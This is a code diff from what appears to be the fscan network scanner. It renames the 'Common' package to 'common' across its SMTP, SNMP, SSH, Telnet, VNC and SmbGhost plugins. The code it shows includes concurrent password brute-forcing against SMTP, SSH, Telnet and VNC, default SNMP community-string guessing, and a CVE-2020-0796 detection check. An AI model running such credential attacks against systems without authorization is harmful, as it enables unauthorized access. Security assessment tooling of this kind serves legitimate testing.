// SmtpScan 执行 SMTP 服务扫描
func SmtpScan(info *Common.HostInfo) error {
if Common.DisableBrute {
func SmtpScan(info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 先测试匿名访问
Common.LogDebug("尝试匿名访问...")
anonymousResult := trySmtpCredential(ctx, info, SmtpCredential{"", ""}, Common.Timeout, Common.MaxRetries)
common.LogDebug("尝试匿名访问...")
anonymousResult := trySmtpCredential(ctx, info, SmtpCredential{"", ""}, common.Timeout, common.MaxRetries)
if anonymousResult.Success {
// 匿名访问成功
@ -50,8 +50,8 @@ func SmtpScan(info *Common.HostInfo) error {
// 构建凭据列表
var credentials []SmtpCredential
for _, user := range Common.Userdict["smtp"] {
for _, pass := range Common.Passwords {
for _, user := range common.Userdict["smtp"] {
for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, SmtpCredential{
Username: user,
@ -60,11 +60,11 @@ func SmtpScan(info *Common.HostInfo) error {
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["smtp"]), len(Common.Passwords), len(credentials)))
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["smtp"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentSmtpScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
result := concurrentSmtpScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil {
// 记录成功结果
saveSmtpResult(info, target, result)
@ -74,18 +74,18 @@ func SmtpScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("SMTP扫描全局超时")
common.LogDebug("SMTP扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
return nil
}
}
// concurrentSmtpScan 并发扫描SMTP服务
func concurrentSmtpScan(ctx context.Context, info *Common.HostInfo, credentials []SmtpCredential, timeoutSeconds int64, maxRetries int) *SmtpScanResult {
func concurrentSmtpScan(ctx context.Context, info *common.HostInfo, credentials []SmtpCredential, timeoutSeconds int64, maxRetries int) *SmtpScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -131,7 +131,7 @@ func concurrentSmtpScan(ctx context.Context, info *Common.HostInfo, credentials
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
@ -152,14 +152,14 @@ func concurrentSmtpScan(ctx context.Context, info *Common.HostInfo, credentials
}
return nil
case <-ctx.Done():
Common.LogDebug("SMTP并发扫描全局超时")
common.LogDebug("SMTP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// trySmtpCredential 尝试单个SMTP凭据
func trySmtpCredential(ctx context.Context, info *Common.HostInfo, credential SmtpCredential, timeoutSeconds int64, maxRetries int) *SmtpScanResult {
func trySmtpCredential(ctx context.Context, info *common.HostInfo, credential SmtpCredential, timeoutSeconds int64, maxRetries int) *SmtpScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
@ -172,7 +172,7 @@ func trySmtpCredential(ctx context.Context, info *Common.HostInfo, credential Sm
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
@ -232,7 +232,7 @@ func trySmtpCredential(ctx context.Context, info *Common.HostInfo, credential Sm
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
@ -247,13 +247,13 @@ func trySmtpCredential(ctx context.Context, info *Common.HostInfo, credential Sm
}
// SmtpConn 尝试 SMTP 连接
func SmtpConn(info *Common.HostInfo, user string, pass string, timeoutSeconds int64) (bool, error) {
func SmtpConn(info *common.HostInfo, user string, pass string, timeoutSeconds int64) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(timeoutSeconds) * time.Second
addr := fmt.Sprintf("%s:%s", host, port)
// 设置连接超时
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout)
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
if err != nil {
return false, err
}
@ -287,7 +287,7 @@ func SmtpConn(info *Common.HostInfo, user string, pass string, timeoutSeconds in
}
// saveSmtpResult 保存SMTP扫描结果
func saveSmtpResult(info *Common.HostInfo, target string, result *SmtpScanResult) {
func saveSmtpResult(info *common.HostInfo, target string, result *SmtpScanResult) {
var successMsg string
var details map[string]interface{}
@ -311,15 +311,15 @@ func saveSmtpResult(info *Common.HostInfo, target string, result *SmtpScanResult
}
}
Common.LogSuccess(successMsg)
common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
vulnResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
common.SaveResult(vulnResult)
}

View File

@ -3,37 +3,37 @@ package Plugins
import (
"fmt"
"github.com/gosnmp/gosnmp"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"strconv"
"strings"
"time"
)
// SNMPScan 执行SNMP服务扫描
func SNMPScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
func SNMPScan(info *common.HostInfo) (tmperr error) {
if common.DisableBrute {
return
}
maxRetries := Common.MaxRetries
maxRetries := common.MaxRetries
portNum, _ := strconv.Atoi(info.Ports)
defaultCommunities := []string{"public", "private", "cisco", "community"}
timeout := time.Duration(Common.Timeout) * time.Second
timeout := time.Duration(common.Timeout) * time.Second
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
Common.LogDebug(fmt.Sprintf("尝试默认 community 列表 (总数: %d)", len(defaultCommunities)))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("尝试默认 community 列表 (总数: %d)", len(defaultCommunities)))
tried := 0
total := len(defaultCommunities)
for _, community := range defaultCommunities {
tried++
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试 community: %s", tried, total, community))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试 community: %s", tried, total, community))
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: community: %s", retryCount+1, community))
common.LogDebug(fmt.Sprintf("第%d次重试: community: %s", retryCount+1, community))
}
done := make(chan struct {
@ -63,12 +63,12 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
if result.sysDesc != "" {
successMsg += fmt.Sprintf(" System: %v", result.sysDesc)
}
Common.LogSuccess(successMsg)
common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
vulnResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
@ -79,7 +79,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
"system": result.sysDesc,
},
}
Common.SaveResult(vulnResult)
common.SaveResult(vulnResult)
return nil
}
case <-time.After(timeout):
@ -89,9 +89,9 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
if err != nil {
errlog := fmt.Sprintf("SNMP服务 %s 尝试失败 community: %v 错误: %v",
target, community, err)
Common.LogError(errlog)
common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryErr := common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
@ -102,14 +102,14 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个 community", tried))
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个 community", tried))
return tmperr
}
// SNMPConnect 尝试SNMP连接
func SNMPConnect(info *Common.HostInfo, community string, portNum int) (bool, string, error) {
func SNMPConnect(info *common.HostInfo, community string, portNum int) (bool, string, error) {
host := info.Host
timeout := time.Duration(Common.Timeout) * time.Second
timeout := time.Duration(common.Timeout) * time.Second
snmp := &gosnmp.GoSNMP{
Target: host,

View File

@ -3,7 +3,7 @@ package Plugins
import (
"context"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"golang.org/x/crypto/ssh"
"io/ioutil"
"net"
@ -26,16 +26,16 @@ type SshScanResult struct {
}
// SshScan 扫描SSH服务弱密码
func SshScan(info *Common.HostInfo) error {
if Common.DisableBrute {
func SshScan(info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 创建全局超时上下文
globalCtx, globalCancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
globalCtx, globalCancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer globalCancel()
// 创建结果通道
@ -44,19 +44,19 @@ func SshScan(info *Common.HostInfo) error {
// 启动一个协程进行扫描
go func() {
// 如果指定了SSH密钥使用密钥认证而非密码爆破
if Common.SshKeyPath != "" {
Common.LogDebug(fmt.Sprintf("使用SSH密钥认证: %s", Common.SshKeyPath))
if common.SshKeyPath != "" {
common.LogDebug(fmt.Sprintf("使用SSH密钥认证: %s", common.SshKeyPath))
// 尝试使用密钥连接各个用户
for _, user := range Common.Userdict["ssh"] {
for _, user := range common.Userdict["ssh"] {
select {
case <-globalCtx.Done():
Common.LogDebug("全局超时,中止密钥认证")
common.LogDebug("全局超时,中止密钥认证")
return
default:
Common.LogDebug(fmt.Sprintf("尝试使用密钥认证用户: %s", user))
common.LogDebug(fmt.Sprintf("尝试使用密钥认证用户: %s", user))
success, err := attemptKeyAuth(info, user, Common.SshKeyPath, Common.Timeout)
success, err := attemptKeyAuth(info, user, common.SshKeyPath, common.Timeout)
if success {
credential := SshCredential{
Username: user,
@ -69,23 +69,23 @@ func SshScan(info *Common.HostInfo) error {
}
return
} else {
Common.LogDebug(fmt.Sprintf("密钥认证失败: %s, 错误: %v", user, err))
common.LogDebug(fmt.Sprintf("密钥认证失败: %s, 错误: %v", user, err))
}
}
}
Common.LogDebug("所有用户密钥认证均失败")
common.LogDebug("所有用户密钥认证均失败")
resultChan <- nil
return
}
// 否则使用密码爆破
credentials := generateCredentials(Common.Userdict["ssh"], Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["ssh"]), len(Common.Passwords), len(credentials)))
credentials := generateCredentials(common.Userdict["ssh"], common.Passwords)
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["ssh"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentSshScan(globalCtx, info, credentials, Common.Timeout, Common.MaxRetries, Common.ModuleThreadNum)
result := concurrentSshScan(globalCtx, info, credentials, common.Timeout, common.MaxRetries, common.ModuleThreadNum)
resultChan <- result
}()
@ -98,16 +98,16 @@ func SshScan(info *Common.HostInfo) error {
return nil
}
case <-globalCtx.Done():
Common.LogDebug(fmt.Sprintf("扫描 %s 全局超时", target))
common.LogDebug(fmt.Sprintf("扫描 %s 全局超时", target))
return fmt.Errorf("全局超时,扫描未完成")
}
Common.LogDebug(fmt.Sprintf("扫描完成,未发现有效凭据"))
common.LogDebug(fmt.Sprintf("扫描完成,未发现有效凭据"))
return nil
}
// attemptKeyAuth 尝试使用SSH密钥认证
func attemptKeyAuth(info *Common.HostInfo, username, keyPath string, timeoutSeconds int64) (bool, error) {
func attemptKeyAuth(info *common.HostInfo, username, keyPath string, timeoutSeconds int64) (bool, error) {
pemBytes, err := ioutil.ReadFile(keyPath)
if err != nil {
return false, fmt.Errorf("读取密钥失败: %v", err)
@ -158,7 +158,7 @@ func generateCredentials(users, passwords []string) []SshCredential {
}
// concurrentSshScan 并发扫描SSH服务
func concurrentSshScan(ctx context.Context, info *Common.HostInfo, credentials []SshCredential, timeout int64, maxRetries, maxThreads int) *SshScanResult {
func concurrentSshScan(ctx context.Context, info *common.HostInfo, credentials []SshCredential, timeout int64, maxRetries, maxThreads int) *SshScanResult {
// 限制并发数
if maxThreads <= 0 {
maxThreads = 10 // 默认值
@ -206,7 +206,7 @@ func concurrentSshScan(ctx context.Context, info *Common.HostInfo, credentials [
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
@ -226,19 +226,19 @@ func concurrentSshScan(ctx context.Context, info *Common.HostInfo, credentials [
return result
}
case <-ctx.Done():
Common.LogDebug("父上下文取消,中止所有扫描")
common.LogDebug("父上下文取消,中止所有扫描")
}
return nil
}
// trySshCredential 尝试单个SSH凭据
func trySshCredential(info *Common.HostInfo, credential SshCredential, timeout int64, maxRetries int) *SshScanResult {
func trySshCredential(info *common.HostInfo, credential SshCredential, timeout int64, maxRetries int) *SshScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
@ -253,7 +253,7 @@ func trySshCredential(info *Common.HostInfo, credential SshCredential, timeout i
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
@ -267,7 +267,7 @@ func trySshCredential(info *Common.HostInfo, credential SshCredential, timeout i
}
// attemptSshConnection 尝试SSH连接
func attemptSshConnection(info *Common.HostInfo, username, password string, timeoutSeconds int64) (bool, error) {
func attemptSshConnection(info *common.HostInfo, username, password string, timeoutSeconds int64) (bool, error) {
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutSeconds)*time.Second)
defer cancel()
@ -296,7 +296,7 @@ func attemptSshConnection(info *Common.HostInfo, username, password string, time
}
// sshConnect 建立SSH连接并验证
func sshConnect(info *Common.HostInfo, username, password string, timeoutSeconds int64) (bool, error) {
func sshConnect(info *common.HostInfo, username, password string, timeoutSeconds int64) (bool, error) {
auth := []ssh.AuthMethod{ssh.Password(password)}
config := &ssh.ClientConfig{
@ -324,7 +324,7 @@ func sshConnect(info *Common.HostInfo, username, password string, timeoutSeconds
}
// logAndSaveSuccess 记录并保存成功结果
func logAndSaveSuccess(info *Common.HostInfo, target string, result *SshScanResult) {
func logAndSaveSuccess(info *common.HostInfo, target string, result *SshScanResult) {
var successMsg string
details := map[string]interface{}{
"port": info.Ports,
@ -334,11 +334,11 @@ func logAndSaveSuccess(info *Common.HostInfo, target string, result *SshScanResu
}
// 区分密钥认证和密码认证
if Common.SshKeyPath != "" {
if common.SshKeyPath != "" {
successMsg = fmt.Sprintf("SSH密钥认证成功 %s User:%v KeyPath:%v",
target, result.Credential.Username, Common.SshKeyPath)
target, result.Credential.Username, common.SshKeyPath)
details["auth_type"] = "key"
details["key_path"] = Common.SshKeyPath
details["key_path"] = common.SshKeyPath
} else {
successMsg = fmt.Sprintf("SSH密码认证成功 %s User:%v Pass:%v",
target, result.Credential.Username, result.Credential.Password)
@ -346,14 +346,14 @@ func logAndSaveSuccess(info *Common.HostInfo, target string, result *SshScanResu
details["password"] = result.Credential.Password
}
Common.LogSuccess(successMsg)
common.LogSuccess(successMsg)
vulnResult := &Common.ScanResult{
vulnResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
common.SaveResult(vulnResult)
}

View File

@ -5,7 +5,7 @@ import (
"fmt"
"time"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
)
const (
@ -95,9 +95,9 @@ const (
)
// SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数
func SmbGhost(info *Common.HostInfo) error {
func SmbGhost(info *common.HostInfo) error {
// 如果开启了暴力破解模式,跳过该检测
if Common.DisableBrute {
if common.DisableBrute {
return nil
}
@ -107,17 +107,17 @@ func SmbGhost(info *Common.HostInfo) error {
}
// SmbGhostScan 执行具体的SMB Ghost漏洞检测逻辑
func SmbGhostScan(info *Common.HostInfo) error {
func SmbGhostScan(info *common.HostInfo) error {
// 设置扫描参数
ip := info.Host
port := 445 // SMB服务默认端口
timeout := time.Duration(Common.Timeout) * time.Second
timeout := time.Duration(common.Timeout) * time.Second
// 构造目标地址
addr := fmt.Sprintf("%s:%v", ip, port)
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout)
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
if err != nil {
return err
}
@ -154,7 +154,7 @@ func SmbGhostScan(info *Common.HostInfo) error {
// 发现漏洞,记录结果
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
Common.LogSuccess(result)
common.LogSuccess(result)
}
return err

View File

@ -11,7 +11,7 @@ import (
"sync"
"time"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
)
// TelnetCredential 表示一个Telnet凭据
@ -29,22 +29,22 @@ type TelnetScanResult struct {
}
// TelnetScan 执行Telnet服务扫描和密码爆破
func TelnetScan(info *Common.HostInfo) error {
if Common.DisableBrute {
func TelnetScan(info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 构建凭据列表
var credentials []TelnetCredential
for _, user := range Common.Userdict["telnet"] {
for _, pass := range Common.Passwords {
for _, user := range common.Userdict["telnet"] {
for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, TelnetCredential{
Username: user,
@ -53,11 +53,11 @@ func TelnetScan(info *Common.HostInfo) error {
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["telnet"]), len(Common.Passwords), len(credentials)))
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["telnet"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentTelnetScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
result := concurrentTelnetScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil {
// 记录成功结果
saveTelnetResult(info, target, result)
@ -67,18 +67,18 @@ func TelnetScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Telnet扫描全局超时")
common.LogDebug("Telnet扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil
}
}
// concurrentTelnetScan 并发扫描Telnet服务
func concurrentTelnetScan(ctx context.Context, info *Common.HostInfo, credentials []TelnetCredential, timeoutSeconds int64, maxRetries int) *TelnetScanResult {
func concurrentTelnetScan(ctx context.Context, info *common.HostInfo, credentials []TelnetCredential, timeoutSeconds int64, maxRetries int) *TelnetScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -124,7 +124,7 @@ func concurrentTelnetScan(ctx context.Context, info *Common.HostInfo, credential
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
@ -145,14 +145,14 @@ func concurrentTelnetScan(ctx context.Context, info *Common.HostInfo, credential
}
return nil
case <-ctx.Done():
Common.LogDebug("Telnet并发扫描全局超时")
common.LogDebug("Telnet并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryTelnetCredential 尝试单个Telnet凭据
func tryTelnetCredential(ctx context.Context, info *Common.HostInfo, credential TelnetCredential, timeoutSeconds int64, maxRetries int) *TelnetScanResult {
func tryTelnetCredential(ctx context.Context, info *common.HostInfo, credential TelnetCredential, timeoutSeconds int64, maxRetries int) *TelnetScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
@ -165,7 +165,7 @@ func tryTelnetCredential(ctx context.Context, info *Common.HostInfo, credential
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
@ -233,7 +233,7 @@ func tryTelnetCredential(ctx context.Context, info *Common.HostInfo, credential
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
@ -248,9 +248,9 @@ func tryTelnetCredential(ctx context.Context, info *Common.HostInfo, credential
}
// telnetConnWithContext 带上下文的Telnet连接尝试
func telnetConnWithContext(ctx context.Context, info *Common.HostInfo, user, pass string) (bool, error) {
func telnetConnWithContext(ctx context.Context, info *common.HostInfo, user, pass string) (bool, error) {
// 创建TCP连接(使用支持context的socks代理)
conn, err := Common.WrapperTcpWithContext(ctx, "tcp", fmt.Sprintf("%s:%s", info.Host, info.Ports))
conn, err := common.WrapperTcpWithContext(ctx, "tcp", fmt.Sprintf("%s:%s", info.Host, info.Ports))
if err != nil {
return false, err
}
@ -287,7 +287,7 @@ func telnetConnWithContext(ctx context.Context, info *Common.HostInfo, user, pas
}
// saveTelnetResult 保存Telnet扫描结果
func saveTelnetResult(info *Common.HostInfo, target string, result *TelnetScanResult) {
func saveTelnetResult(info *common.HostInfo, target string, result *TelnetScanResult) {
var successMsg string
var details map[string]interface{}
@ -310,17 +310,17 @@ func saveTelnetResult(info *Common.HostInfo, target string, result *TelnetScanRe
}
}
Common.LogSuccess(successMsg)
common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
vulnResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
common.SaveResult(vulnResult)
}
// TelnetClient Telnet客户端结构体

View File

@ -7,7 +7,7 @@ import (
"time"
"github.com/mitchellh/go-vnc"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
)
// VncCredential 表示VNC凭据
@ -22,28 +22,28 @@ type VncScanResult struct {
Credential VncCredential
}
func VncScan(info *Common.HostInfo) error {
if Common.DisableBrute {
func VncScan(info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 构建密码列表
var credentials []VncCredential
for _, pass := range Common.Passwords {
for _, pass := range common.Passwords {
credentials = append(credentials, VncCredential{Password: pass})
}
Common.LogDebug(fmt.Sprintf("开始尝试密码组合 (总密码数: %d)", len(credentials)))
common.LogDebug(fmt.Sprintf("开始尝试密码组合 (总密码数: %d)", len(credentials)))
// 使用工作池并发扫描
result := concurrentVncScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
result := concurrentVncScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil {
// 记录成功结果
saveVncResult(info, target, result.Credential)
@ -53,18 +53,18 @@ func VncScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("VNC扫描全局超时")
common.LogDebug("VNC扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个密码", len(credentials)))
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个密码", len(credentials)))
return nil
}
}
// concurrentVncScan 并发扫描VNC服务
func concurrentVncScan(ctx context.Context, info *Common.HostInfo, credentials []VncCredential, timeoutSeconds int64, maxRetries int) *VncScanResult {
func concurrentVncScan(ctx context.Context, info *common.HostInfo, credentials []VncCredential, timeoutSeconds int64, maxRetries int) *VncScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -110,7 +110,7 @@ func concurrentVncScan(ctx context.Context, info *Common.HostInfo, credentials [
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", i+1, len(credentials), cred.Password))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", i+1, len(credentials), cred.Password))
workChan <- cred
}
}
@ -131,14 +131,14 @@ func concurrentVncScan(ctx context.Context, info *Common.HostInfo, credentials [
}
return nil
case <-ctx.Done():
Common.LogDebug("VNC并发扫描全局超时")
common.LogDebug("VNC并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryVncCredential 尝试单个VNC凭据
func tryVncCredential(ctx context.Context, info *Common.HostInfo, credential VncCredential, timeoutSeconds int64, maxRetries int) *VncScanResult {
func tryVncCredential(ctx context.Context, info *common.HostInfo, credential VncCredential, timeoutSeconds int64, maxRetries int) *VncScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
@ -151,7 +151,7 @@ func tryVncCredential(ctx context.Context, info *Common.HostInfo, credential Vnc
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retry+1, credential.Password))
common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retry+1, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
@ -170,7 +170,7 @@ func tryVncCredential(ctx context.Context, info *Common.HostInfo, credential Vnc
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
@ -185,12 +185,12 @@ func tryVncCredential(ctx context.Context, info *Common.HostInfo, credential Vnc
}
// VncConn 尝试建立VNC连接
func VncConn(ctx context.Context, info *Common.HostInfo, pass string) (bool, error) {
func VncConn(ctx context.Context, info *common.HostInfo, pass string) (bool, error) {
Host, Port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
timeout := time.Duration(common.Timeout) * time.Second
// 使用带上下文的TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%s", Host, Port), timeout)
conn, err := common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%s", Host, Port), timeout)
if err != nil {
return false, err
}
@ -252,14 +252,14 @@ func VncConn(ctx context.Context, info *Common.HostInfo, pass string) (bool, err
}
// saveVncResult 保存VNC扫描结果
func saveVncResult(info *Common.HostInfo, target string, credential VncCredential) {
func saveVncResult(info *common.HostInfo, target string, credential VncCredential) {
successLog := fmt.Sprintf("vnc://%s 密码: %v", target, credential.Password)
Common.LogSuccess(successLog)
common.LogSuccess(successLog)
// 保存结果
vulnResult := &Common.ScanResult{
vulnResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
